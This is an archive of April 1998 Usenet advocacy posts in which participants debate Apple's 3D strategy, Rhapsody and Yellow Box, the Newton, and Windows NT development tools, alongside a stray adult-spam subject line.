:The question is "What the hell is Apple doing about 3D?"
Not much. The best they could do is toss RenderMan in the mix, but I
doubt Jobs wants to distract Pixar; they've got another movie to finish
up.
:[cut]
:
:StudioPro, if I remember correctly, is now supporting OpenGL renderers
:on OpenGL hardware,
They have to on the windows side. The Mac version still uses QD 3D I
believe. There is no Mac OpenGL hardware.
: having decided that software renderers are basically
:obsolete, or will be in a few years' time.
I don't think that they're totally obsolete. If you want to do
something that doesn't involve polygons or polygonal approximations,
you're going to have to go software. Still the vast majority of stuff use
polys and a system has to be able to render them fast.
:Gosh, you'd think that the founder of Pixar would understand the issues
:surrounding this.
Jobs is *not* the founder of Pixar. He is the owner. Pixar was a 'spin
off' of Industrial Light & Magic. Jobs picked them up years ago while they
were still pretty small and not well-known for ~20 million dollars. I
might be off a bit on price, but it was quite a steal.
:I believe Ray Dream is also planning OpenGL renderer support.
Again, they have to on the Windows side. They probably already do.
There's nothing really on the Mac side except for a couple of GLINT
boards, and some low-end offerings from IXMicro and ATI. I haven't heard
any peeps about new 3D boards in a long time.
:anyone even remember what "QD3D" stand for anymore? Under Amelio we
:heard companies announcing support for it. Nobody wants to be associated
:with it anymore.
And what's worse, OpenGL isn't really going to buy Apple much.
*Everyone* has OpenGL. How can Apple differentiate itself? Screaming fast
3D Hardware? They don't have any. High-level OpenGL-based 3D Framework?
They don't have one.
: I guess it's just normal for companies to avoid the
:stench of dying, rotting products.
Yep, and it's sad. Like GX, there were some small QD 3D vendors making
some really neat and interesting products. Further the big developers were
fairly positive about 3DMF and the plug-in renderer architecture. Given
proper nurturing, QD 3D could have easily become a very valid reason for a
graphics person to choose a Mac over a PC.
:Amapi used to run on Linux, and a 3.0 version was "on the way". Ditto
:for Irix. Since Yonowat was bought out, Amapi only supports Windows and
:Macintosh, and there's almost no reason to buy the Macintosh version,
:since Amapi is meant to be a "companion" to PC-based modelling software,
:and interfaces with almost nothing on the Mac.
Actually Amapi can export formats a lot of Mac programs know how to
understand, so there is still a reason to use it on the Mac. It's
interface is so unMac-like though that people either love it or hate it.
:Again, supposing Apple had a 3D strategy, it would be reasonable to
:expect TGS (the new owner) to push for integration on that platform.
:Given the present circumstances, who's surprised that nobody really
:cares about the Mac platform anymore?
I think people still care, but Apple doesn't have a 3D strategy
anymore. And even if they did, odds are they wouldn't follow through with
it.
:Exactly. You'll remember the guy from Bentley who posted here saying
:that anyone who's even remotely got their shit together has already
:ported to NT.
And with Electric Image and Strata on the way, the situation is looking
even more grim. Another data point is that, Electric Image just merged
with Play Inc. Play makes a very cool video editing system called Trinity.
Now with EI, they're all set to duplicate what NewTek did back in the 80s
with the Video Toaster & Lightwave. (Play was started by ex-NewTek folk)
Will Trinity ever go to the Mac? Doubtful. Electric Image will probably
linger around, but I suspect some *very* cool, and unfortunately NT-only
stuff, to come out of this merger in the coming years.
:Yellow Box is simply another API to support, not a
:cross-platform solution, to anyone who already has a product.
Plus it's going to be one with a piteously small marketshare till Apple
releases the YellowBox for the Mac OS.
:Unfortunately, Jobs doesn't seem to understand that the people he needs
:to impress *are* people who already have a product.
The only way to impress them is with marketshare.
-Eric
From: Kristofer Jon Magnusson <kris@xmission.xmission.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: KEEP JOBS
Date: 22 Apr 1998 16:40:08 -0600
Organization: XMission Internet (801 539 0852)
Message-ID: <6hlrk8$fkf$1@xmission.xmission.com>
References: <don_arb-1904982240580001@sea-ts2-p64.wolfenet.com> <joe.ragosta-2004980639400001@elk52.dol.net> <353CEFFF.DDC5D0B4@samkass.com> <353CF4AF.3135@convex.com> <6hj0ki$52j@newsb.netnews.att.com> <353D06AD.5412@CONVEX.COM> <6hj32i$hr2$1@ha2.rdc1.sdca.home.com> <353D120B.3B3B@CONVEX.COM> <6hjkb5$cc$2@ha2.rdc1.sdca.home.com> <353D7473.5596B035@nstar.net> <6hjvg9$ru7$4@news.xmission.com> <353E4CBA.AA8A65F4@nstar.net>
Michael Peck <mjpeck@nstar.net> wrote:
: Don Yacktman wrote:
: I don't get the sense that anybody here from the NeXT world understands
: business and markets any better than the Mac bigots who preceded them.
That's a pretty interesting opinion to hold.
Don, the object of your attack, has facilitated the development and
distribution of components that have saved businesses countless hours of
development and maintenance time.
Omni has not only survived in the risky NeXT world, but has prospered,
funding the development of cool products like OmniWeb with their profits.
Jonathan Schwartz, founder of Lighthouse, is now a senior VP at Sun.
You have made a misstatement.
........kris
--
Kristofer Jon Magnusson <kris@xmission.com>
"NASA and its partners have identified vacuum
as a major attribute of space."
From: ADULTS ONLY!!!!!!!!!!
Newsgroups: comp.sys.next.advocacy
Date: Sat, 18 Apr 1998 22:37:47 PDT
Subject: 4" CLITS LICKED BY HOT TEENS AND CELEBS!
Organization: Email Platinum v.3.1b
Message-ID: <35397e01.0@news.codenet.net>
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From: jrudd@cygnus.com (John Rudd)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: MS Paying $200/mention
Date: 22 Apr 1998 17:58:47 GMT
Organization: Cygnus Solutions
Message-ID: <6hlb4n$cg8$1@cronkite.cygnus.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Date: Wed, 22 Apr 1998 11:30:21 +1000 (EST)
From: Khanh Quoc Nguyen <qnguyen@st.nepean.uws.edu.au>
If you're a professor and you mention Microsoft programming tools in a
scholarly presentation -- in fact, even if you just use the tools -
Microsoft will send you a check for $200.
[...]
Microsoft is "trying to make them advertising agents of their wares," says
Albert Borgman, a philosophy professor at the University of Montana at
Missoula who has written about technology and its effect on society. "This
is going beyond the pale."
One of my bosses (David Henkel-Wallace) reacted to this with:
>Hmm, we should ask all our professorial friends to begin every talk, on
>_any_ subject, with the words `In order to collect my $200: "Microsoft
>programming tools'" and then apply for the money.
>Assuming that there are on the order of 500,000 willing professors
>world-wide they'd each only have to do this twice a week [for one year]
>in order to consume all of Microsoft's $10bn in cash.
I think it's a great idea. Takers?
--
John "kzin" Rudd jrudd@cygnus.com http://www.cygnus.com/~jrudd
Intel: Putting \"I want a pair of Daisy Eagle semi-auto paintball pistols
the backward in \in shoulder rigs. Who cares if you win the game as long
backward compatible\as you can John Woo as you dive over obstacles?" - anon
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 22 Apr 1998 15:21:40 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6js2o4.61p.sal@panix3.panix.com>
References: <199801202218001457904@ppp8.hol.fr> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fnt3g$r69$1@news.cs.tu-berlin.de> <6fva58$6th$1@quasar.dimensional.com> <slrn6i8057.kjl.sal@panix3.panix.com> <6g6f8i$atu$2@quasar.dimensional.com> <slrn6ife6g.dbp.sal@panix3.panix.com> <6g8fl6$la7$1@quasar.dimensional.com> <slrn6igl3f.qlh.sal@panix3.panix.com> <6ggm4n$1kt$4@quasar.dimensional.com> <slrn6jdmrc.3u2.sal@panix3.panix.com> <6harth$d4f$1@quasar.dimensional.com> <slrn6jk5fa.rln.sal@panix3.panix.com> <6hjp9a$gpi$2@quasar.dimensional.com>
On 22 Apr 1998 03:47:54 GMT, Kenneth R. Kinder <Ken@_$spamless$_KenAndTed.com> wrote:
>what phrase? distributed objects? If that were a query for distributed
>objects, it would have at least turned up this thread.
It does. Under "current articles"
>>>> As you can see, I did not use that phrase until you made claims that I
>>>> lied about it.
>>>> I did post about PDO, and this is the URL for it
>>>> http://x4.dejanews.com/getdoc.xp?AN=312243574&CONTEXT=892787299.1704284&hitnum=0
>>>That's not even in the thread.
Then where is this thread?
>> If you did some searches in dejanews (like I did) you'll see that I never made
>> those claims.
>Find me the article where I asked what "Distributed Objects" where, and
>after you replied, "I must admit, this sounds powerful" or something like
>that, and you said they were a Rhapsody advantage.
>
>Certainly, you can REMEMBER that?
I never said that. Are you sure it was me?
>> Show me the article where I said that and I'll mail you $10.
>My time's not worth that. Deja News takes 30 or 45 minutes to track down
>specific messages that frequent posters like you and I posted.
Ok, how about a $100? Will that be worth it? I never said what you claimed
I said. The only article that is anywhere neer that was my message on PDO,
and I made it clear that I was talking about a NeXT/Apple product. I even
posted refrence to the Apple web site.
>> I never said that.
>> Whenever I mentioned "distributed objects" I made it very clear that I was
>> talking about PDO, an Apple/NeXT product. If you look at the link above, you'll
>> see that I even posted refrences to the URL where you can get more info on the
>> product.
>If that's what you meant, I read it meaning it were Next-exclusive (as in
>the OS).
>At any rate, I don't care.
I care. I do not enjoy being called a liar. If you can not back up your
claim, then take it back.
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 21 Apr 1998 04:57:28 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6jo9po.q17.sal@panix3.panix.com>
References: <199801202218001457904@ppp8.hol.fr> <6fmtdo$qr7$1@quasar.dimensional.com> <351f11d5.0@206.25.228.5> <6fnorc$71e$3@ns3.vrx.net> <6fvapb$6th$3@quasar.dimensional.com> <6fvmkt$i4c$4@ns3.vrx.net> <6g6fhr$atu$3@quasar.dimensional.com> <352A6D21.3FC9A99@cisco.com> <6ggn3g$1kt$6@quasar.dimensional.com> <6ggsgj$fit$9@anvil.BLaCKSMITH.com> <6gh9i2$oop$8@ironhorse.plsys.co.uk> <6gis4a$6j$3@anvil.BLaCKSMITH.com> <6gm8ou$hom$4@quasar.dimensional.com> <6gq9kh$oop$22@ironhorse.plsys.co.uk> <6gunnn$4m9$6@quasar.dimensional.com> <6hg009$57p$10@ironhorse.plsys.co.uk>
On 20 Apr 1998 17:18:01 GMT, mmalcolm crawford <malcolm@plsys.co.uk> wrote:
>"Python code ... Not as elegant as C++"
>Sheesh, maybe Damien Hurst is producing Art after all.
If you are talking about the [con] artist that paints rows of colored
dots on a plain white canvas and tries to pass it off as art, then
I think his name is Damien Hirst. Deep insite into the feelings of
loneliness and desperation. Yeah right.
Of course, C++ code isn't as elegant as APL or Perl...
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 21 Apr 1998 04:38:33 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6jo8m9.q17.sal@panix3.panix.com>
References: <slrn6jc21u.9i.jason@jhste1.dyn.ml.org> <B15BB1DE-33E9B@206.165.43.169> <35366814.4513@CONVEX.COM> <slrn6jcsa9.lbp.sal@panix3.panix.com> <3536761E.59B2@CONVEX.COM> <slrn6jdlpg.3u2.sal@panix3.panix.com> <3537C3A0.64F45942@nstar.net> <slrn6jk439.rln.sal@panix3.panix.com> <353B8C11.1CF4@CONVEX.COM>
On Mon, 20 Apr 1998 12:55:29 -0500, Michael Peck <ECK@CONVEX.COM> wrote:
>Salvatore Denaro wrote:
>> Can I run it without X? Can I use it without X? By Local X I ment that
>> X had to be running on your local machine.
--------------^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
>This is sort of ridiculous. It's an X program. It requires an X server,
>like all X programs.
Thank you. That was my point.
>> >Er, it's not really the same. Believe me, I'm working on this very
>> >thing, and it *isn't* what I'm talking about.
>> How so? How can X be the IDE and not WinNT?
>
>I've actually been able to do such a thing with NT this past weekend. It
>basically involves the use of Cygwin-32 as a bash/egcs environment with
>X libraries and a DISPLAY variable pointing to an X server (local or
>otherwise). That way I can work from within my Linux X session but
>compile on NT, or run MI/X on the NT box and work there, my choice.
>Either way my IDE is X, not VC++, although I'd hesitate to apply "IDE"
>to the X setup, since it's not really "integrated" in the sense conveyed
>by "IDE".
You didn't answer the question. How can X be an IDE, but NT can't?
>> >Hm, my bad, I guess. I'm not entirely up to speed on the subject.
>> Time to RTFM. If you have the VC++ docs, you should have the complete
>> console services docs on your system and some demo Apps.
>Wouldn't it be fortunate if everyone had as much time to read
>documentation as you have!
iDo you plan on developing under NT without RTFM? Bad idea. You'll find
that it has little in common with X/Unix development.
> By the way, have you looked into that X
>Windows stuff yet?
I don't have to deal with X anymore. I don't miss it at all.
>have higher priority. What I wouldn't give for some nice, condensed man
>pages right about now...
Check the NT docs in your copy of VCPP. IIRC, the console services API
intro is about 2 pages long.
>> You can change the 80*25 default.
>Sweet. How?
HKEY_CURRENT_USER/Console/WindowSize
>> You can change the ComSpec to be
>> bash.exe rather than cmd.exe.
>Sweet. How?
My computer->right-click->Property->Environment->hilight comspec->edit it->set
You might also be able to set it in the registry, I can't remember.
Searching for ComSpec might help.
>> You can *replace* the console mode if you
>> wanted, or write a console++ that does more. Is that enough?
>Actually, I'm looking for answers, not advocacy regarding how flexible
>NT is. Can you provide?
Check out the cygnus code. They extend the console services. Source
is somewhere on http://www.cygnus.com/
>> Change it. Open up regedit and search for cmd.exe and then for "console"
>> you'll find all the settings that you can edit. I'm not sure that changing
>> from cmd.exe to bash.exe in comspec isn't going to break anything, YMMV.
>Ah, gotcha. I assume the registry keys and values for "console" and
>cmd.exe are in the documentation you mentioned above.
Yes. I didn't bother looking it up. I set the size and place for cmd.exe and
then used copy&paste to edit the default setting to be like the ones for
cmd.exe
>I wonder if you can back that up with specific examples. Here are a
>couple off of the top of my head:
I haven't used Emacs in years. I much perfer a GUI editor with macro
ability. Vim is nice as well. I can use Perl from within it.
>1) beginning development in VCPP: walk through a wizard asking you
Disable the start up screen. Or hit cancel.
>2) integrated web browser: why do I need this?
The help system is HTML based.
> I use Netscape Navigator, and it's always running. Why do I
> need two Web browsers running in memory to do job of one?
Hey, your the one defending MS in that monoply thread. :)
I agree that it would make a lot more sense for it to use the default
browser, rather than install it own. But the memory foot print is minimal.
>3) toolbars: with XEmacs I get a single, minimalist toolbar. With a
>single click it's gone. With VCPP I've got preferences dialogs to sort
>through.
Wrong. Right click on the grey area near the tool bar. Now turn off all
of the tool bars you don't want, or define your own custom toolbar.
>I'm not even addressing how well it does "the task it was designed for",
>unless that task is "making developers feel like they're using Microsoft
>Word, complete with memory/disk footprint". I'm addressing overall
>usability, and VCPP doesn't have it.
Then config it any way you want. That was your reason for Emacs being
so great, right? That you can config it any way you want? Well, if you
spent 20 minutes configing it, you might find it does the job pretty
well. I happen to like the fact that I can include rich text as part of
project (it helps when some docs follow the project into and out of
PVCS)
And if you don't want to config it via the GUI, then feel free to
edit the registry. You can even get CLI based regedit tools off of
the MS web site.
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy
Subject: Re: IMPEACH JOBS
Date: 22 Apr 1998 15:07:47 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6js1u3.61p.sal@panix3.panix.com>
References: <01bd6b25$321d87c0$25f0bfa8@davidsul> <6hbob0$5g8@mozo.cc.purdue.edu> <B15FF7D3966859F61@host-207-205-112-97.bct.bellsouth.net> <joe.ragosta-1904981929240001@elk50.dol.net> <steve_bryan-2204980026010001@pub-24-a-139.dialup.umn.edu>
On Wed, 22 Apr 1998 00:26:00 -0500, Steve Bryan <steve_bryan@hotmail.com> wrote:
>I would think that the Palm Pilot provides evidence that the Newton had a
>chance of making money.
It provides NO evidence that APPLE could have made money on it. Apple has
never been able to make money on low cost consumer products. They are not
set up to do it. My guess is that the real reason why Apple hasn't moved on
building a sub $1k machine is that they are busy building the infrastructure
to be able to sell one first.
BTW, I own a MP2100. I think it is a great machine, but it was way to
much money for it to be a consumer product.
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: Michael Peck <ECK@CONVEX.COM>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: AM/etc requirements for Yellow Box apps (Was Re: Mac
Date: Wed, 22 Apr 1998 16:58:13 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <353E67F5.7976@CONVEX.COM>
References: <6hesjg$g95$1@vixen.cso.uiuc.edu> <353B6C07.30F97F82@nstar.net> <rex-2004981525550001@192.168.0.3> <6hghqg$ajt$1@new-news.cc.brandeis.edu> <353D0E82.77CB@CONVEX.COM> <rex-2204981637540001@192.168.0.3>
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Eric King wrote:
> Yep, as soon as Apple decided that they no longer wanted to push QD 3D,
> they should have been screaming about their new found OpenGL interest.
> They also should have been looking at ways of providing a high-level
> interface for OpenGL similar to QD 3D's and also gotten 3DMF into much
> better shape.
Exactly. The question isn't "Can we reasonably imagine that Apple has
*some* sort of objective in mind, and are there feasible technology
buzzwords present at Apple that rumor sites can conjecture about?"
The question is "What the hell is Apple doing about 3D?"
[cut]
> : I can see zero logic in using Rhapsody for professional
> :computer-assisted design work (one of the principle markets for desktop
> :high-end workstations, the very market Apple claims to be targeting for
> :Rhapsody).
>
> Aside from a CAD app, have there been any 3D apps announced for
> Rhapsody? I know Electric Image is far too busy with their new (and very
> late) Modeler and their NT version to bother with a port. Strata's rolling
> out an NT version of StudioPro also.
StudioPro, if I remember correctly, is now supporting OpenGL renderers
on OpenGL hardware, having decided that software renderers are basically
obsolete, or will be in a few years' time.
Gosh, you'd think that the founder of Pixar would understand the issues
surrounding this.
> Lightwave is a bit more interesting
> and useful on the NT side than the Mac. Hash, Infini-D, & Raydream all
> have Windows versions.
I believe Ray Dream is also planning OpenGL renderer support. Does
anyone even remember what "QD3D" stand for anymore? Under Amelio we
heard companies announcing support for it. Nobody wants to be associated
with it anymore. I guess it's just normal for companies to avoid the
stench of dying, rotting products.
> Amapi runs on just about everything.
Amapi used to run on Linux, and a 3.0 version was "on the way". Ditto
for Irix. Since Yonowat was bought out, Amapi only supports Windows and
Macintosh, and there's almost no reason to buy the Macintosh version,
since Amapi is meant to be a "companion" to PC-based modelling software,
and interfaces with almost nothing on the Mac.
Again, supposing Apple had a 3D strategy, it would be reasonable to
expect TGS (the new owner) to push for integration on that platform.
Given the present circumstances, who's surprised that nobody really
cares about the Mac platform anymore?
> That really
> only leaves VIDI, Silver Software(?), and Pixels as Mac-only 3D vendors.
> Unfortunately these are just the kinds of small vendors that Apple loves
> to screw over.
>
> :Maybe Apple can make a lot more QuickTime 3.0 noise and blow more smoke
> :over the issue. I don't think anybody will be fooled, though. I think
> :they're just going to take QuickTime 3.0 and run it on their NT
> :machines.
>
> Part of the problem with Apple's current game plan is that they're
> assuming developers will want to support the Yellow Box to move across
> platforms. The big flaw in this is that most of the big or important
> developers have already moved cross-platform or are in the process of
> doing so. Rhapsody just offers a way to support a small part of a
> dwindling market.
Exactly. You'll remember the guy from Bentley who posted here saying
that anyone who's even remotely got their shit together has already
ported to NT. Yellow Box is simply another API to support, not a
cross-platform solution, to anyone who already has a product.
Unfortunately, Jobs doesn't seem to understand that the people he needs
to impress *are* people who already have a product.
MJP
--
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From: Michael Peck <ECK@CONVEX.COM>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy
Subject: Re: IMPEACH JOBS
Date: Wed, 22 Apr 1998 17:13:26 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <353E6B86.33C6@CONVEX.COM>
References: <01bd6b25$321d87c0$25f0bfa8@davidsul> <6hbob0$5g8@mozo.cc.purdue.edu> <B15FF7D3966859F61@host-207-205-112-97.bct.bellsouth.net> <joe.ragosta-1904981929240001@elk50.dol.net> <TheLidlessEyeTh-2104982351350001@digital-00-54.hou.neoworld.net>
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The Doom That Came To Usenet wrote:
> Bottom line: People didn't care how much better the Newton was than the
> Palm Pilot
> or Windows CE devices, for that matter.
> They get the job done, and they don't cost a thousand bucks each.
> Now, when the price of the discontinued MessagePads drop to the same price
> point as
> the Palm Pilots, I'm there, dude.
That's like saying "When PCs drop to the same price as wristwatches, I'm
there dude." The Newton isn't even remotely analogous to the PalmPilot;
if you don't recognize that, don't worry, most people don't. In fact,
Apple didn't recognize it. For God's sake, you can play Quake on a
Newton.
MJP
--
BEFORE YOU REPLY TO THIS MESSAGE, PLEASE PREPEND 'MJP' TO THE ADDRESS
From: Michael Peck <ECK@CONVEX.COM>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: AM/etc requirements for Yellow Box apps (Was Re: Mac
Date: Wed, 22 Apr 1998 17:20:53 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <353E6D45.B08@CONVEX.COM>
References: <6hesjg$g95$1@vixen.cso.uiuc.edu> <353B6C07.30F97F82@nstar.net> <rex-2004981525550001@192.168.0.3> <6hghqg$ajt$1@new-news.cc.brandeis.edu> <353D0E82.77CB@CONVEX.COM> <slrn6js1ep.61p.sal@panix3.panix.com>
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Salvatore Denaro wrote:
>
> On Tue, 21 Apr 1998 16:24:18 -0500, Michael Peck <ECK@CONVEX.COM> wrote:
> >Apple is not and never has been a member of the OpenGL ARB. If anything
> >has been slowing adoption of OpenGL, it is companies that drag their
>
> True. A lot of use have been sending in requests for OpenGL support.
> Bob posted that he was in a meeting with an Apple rep who stated that
> OpenGL would be in QTML. There hasn't been any offical word though.
Saying that "OpenGL will be in QTML" means almost nothing, surely you
recognize that. It's just the sort of vague, unpromising thing Apple
loves to say.
"Apple will support AGP."
"Apple will support USB."
"MacOS 8.0 will have multitasking."
"QD3D has broad industry support."
> >Jobs impedes 3D.
>
> I don't see that at all. QTML will have QD3d. It could be built on OpenGL
> rather than RAVE, or it could include both. And Renderman could be added
> back in if needed. That would give Rhapsody a large choice of 3d APIs.
Gawd, don't you get it?! Rhapsody doesn't *need* a large choice of 3D
APIs. Rhapsody needs *ONE* API. You can't just throw a bunch of words at
the issue "OpenGL, RAVE, QD3D, QTML, RenderMan" and expect some kind of
strategy to just *materialize*
> Do you expect Steve to write the OpenGL code himself? :)
No, of course not. He's working too hard for that. I don't want him to
pull a muscle or anything. It's hard enough just staying clean-shaven,
apparently.
MJP
--
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From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 22 Apr 1998 15:24:58 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6hlg6a$i2l$1@crib.bevc.blacksburg.va.us>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6h0b4v$h5v$3@ns3.vrx.net> <3534C720.3BACAC4@milestonerdl.com> <SCOTT.98Apr15231250@slave.doubleu.com>
In article <SCOTT.98Apr15231250@slave.doubleu.com>, scott@doubleu.com (Scott Hess) wrote:
> Well, then, what do you think the odds are on GNUStep if Rhapsody
> _doesn't_ ship, or Apple kills it off? There are a lot of orphan GUI
> toolkits out there. For better or worse, Rhapsody is the center of
> the OpenStep universe. If Rhapsody does well, GNUStep will do
> alright. If Rhapsody digs a hole, GNUStep won't be far behind.
I think that the GNUstep people would disagree.. the project was
started precisely _because_ it looked like NEXTSTEP was dying, and they
wanted an alternative to live on. I think that the status of Rhapsody is
not going to affect GNUstep very much unless/until GNUstep truly becomes
mostly/completely source-code compatible with Rhapsody, in which case it
will get a big boost. But there were sufficiently many people who were
excited about bringing OpenStep to other platforms in a free way despite
NEXTSTEP's impending demise to get the project started in the first place.
[Newsgroups: line trimmed.]
From: blackstar@aol.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Final Words on Rhapsody as a Server OS
Date: Wed, 22 Apr 1998 19:24:30 -0500
Organization: Northeastern University, Boston, MA. 02115, USA
Message-ID: <blackstar-2204981924300001@a-206-59.sp.neu.edu>
References: <no-2104982333090001@grv230155.columbus.rr.com>
They can't tell us how to use it, but if they choose to market it as a
Server OS, it will not make as big an impact. Of couse all the current Mac
users know what it does and will run to the stores and buy the first
copies regardless of what kind of OS Apple want's to call it. But this OS
has a pontential of really increasing Apple's OS marketshare unless they
market it to the wrong people. No matter how great the current MacOS gets,
it will be advanced in a gradual process that most users outside the Mac
world will not pay attention too. They need something new and exciting
that they can hype up and attract even the most anti-mac users. They also
must get the word out on this new OS. Ask the average PC user what
Rhapsody is and they wouldn't know. Most people outside the Mac world
don't know why it is such a great OS if they even know what it is. Apple
has to make sure these people know by the time it is released. Hopefully
they will build up the proper momentum prior to the release and try to
intercept those waiting for NT5.0. Of course if they wanted to give it
away for free this could help too.
> The following paragraph is from a great article on Stepwise:
>
> ----------------
> "So, take heart, Rhapsody enthusiasts. Rhapsody is cool beyond belief and
> is coming to a
> system near you. Remember, even if everyone at Apple marketing had a brain
> aneurism
> and decided Rhapsody really will be a server OS forever, it really isn't
> their decision.
> It's ours. It's not like they're going to give us a worksheet when we buy
> our Macintosh,
> and if we check the "client and server" box they say, "Nope, sorry, we
> can't sell you
> Rhapsody, it's only for servers."
> -Wil Shipley is the President of Omni Development, Inc, a long-time
> OpenStep developer.
> ----------------
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: IMPEACH JOBS
Date: Wed, 22 Apr 1998 18:03:08 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <353E772C.C4EBCA59@milestonerdl.com>
References: <01bd6b25$321d87c0$25f0bfa8@davidsul> <6hbob0$5g8@mozo.cc.purdue.edu> <B15FF7D3966859F61@host-207-205-112-97.bct.bellsouth.net> <joe.ragosta-1904981929240001@elk50.dol.net> <TheLidlessEyeTh-2104982351350001@digital-00-54.hou.neoworld.net> <353E6B86.33C6@CONVEX.COM>
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To: Michael Peck <MJPECK@CONVEX.COM>
Michael Peck wrote:
> The Doom That Came To Usenet wrote:
> > Bottom line: People didn't care how much better the Newton was than the
> In fact, Apple didn't recognize it.
That's why Newton Inc was supposed to happen....to avoid the problems of being
tied to Apple. Oh, the excitement of last year, when the spin-out was
announced....and Oh, the deceipt of Apple, Inc when employees knew about the
cancellation mid Dec, but vertical market developers were being told up to 1
week before Feb 27th, All was OK, keep doing what you are doing.
> For God's sake, you can play Quake on a
> Newton.
Errrr....that was an April Fools joke. Like the DOOM joke the year before.
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody where and how
Date: 22 Apr 1998 20:32:59 GMT
Organization: Digital Fix Development
Message-ID: <6hlk5r$39q$1@news.digifix.com>
References: <01bd6d65$c5432b80$04387880@test1> <slrn6js31r.61p.sal@panix3.panix.com>
In-Reply-To: <slrn6js31r.61p.sal@panix3.panix.com>
On 04/22/98, Salvatore Denaro wrote:
>On 21 Apr 1998 22:50:14 GMT, Todd Heberlein <todd@NetSQ.com> wrote:
>>o Will Apple simply sell Rhapsody for x86 through its on-line store?
>
>Why not?
>
>>o Will Apple license Rhapsody for x86 to computer manufacturers
(e.g.,
>>Compaq)?
>
>The real question is "Will anyone sign up for a Rhapsody/pc license?"
>Why would Compaq risk getting MS angry?
>
I think at this point, MS can't make those types of moves.
DOJ is watching too closely... and Compaq has already provided the DOJ
with documentation that MS threatened them when they wanted to put
Netscape on the desktop.
>>o Will Apple strike any deals to have OpenStep bundled with systems
>>shipping with NT (e.g., Compaq NT system)?
>
>This deal would have to be done with MS. MS gets upset when you add
>software to thier system without permission (Remember NetScape?)
>
See the above..
This is great timing for Rhapsody with the DOJ and everyone
else lining up to hate Microsoft.
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on SGI!
Date: 22 Apr 1998 16:46:07 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6hl6sf$7ne$1@ns3.vrx.net>
References: <6hj4s6$61q@news.nd.edu> <01bd6d64$7b8394e0$04387880@test1>
<6hints$99c$1@ns3.vrx.net> <6hjkpg$cc$3@ha2.rdc1.sdca.home.com>
<6hk9r4$ga7$1@ns3.vrx.net> <rex-2204981646280001@192.168.0.3>
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Cc: rex@smallandmighty.com
In <rex-2204981646280001@192.168.0.3> Eric King claimed:
> The sad thing is that SGI's *low-end* hardware design is so much nicer
> than anything Apple has out currently or in the works. 2gig/s sustained
> memory bandwidth, oi!
Sure, and I think that would help Apple too. I mean if N64's can use the
same sort of backplane that a SGI has, then so can Apple. I think the issue
here may be RAM prices?
> To some extent. Most of SGIs income comes from CAD, data visualization,
> and server sales, not content creation. These are markets that Apple has
> never been able to enter, and its questionable as to whether they'd be
> able to *keep* these markets.
Well SGI's not doing a terribly good job of it it seems, and I do think
that's because of the platforms lack of support for a real selection of
desktop apps. Even your full-on technogeek needs to write a letter to mom at
some point.
> Which would take years to fully integrate.
Nope, it will take about two to three years, when everyone and his brother
has an OS for Merced.
> The last thing Apple needs
> is any more restructuring or attempts merge technology.
Funny, the latest two attempts at this have proved terribly profitable and
superb tech respectively.
> True, it would get Apple some great hardware and software, but it would
> still take ages to integrate.
Why? There's OpenGL for MacOS now, and I _really_ doubt a Rhapsody port
would take any serious effort.
Maury
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Rhapsody on SGI!
Newsgroups: comp.sys.next.advocacy
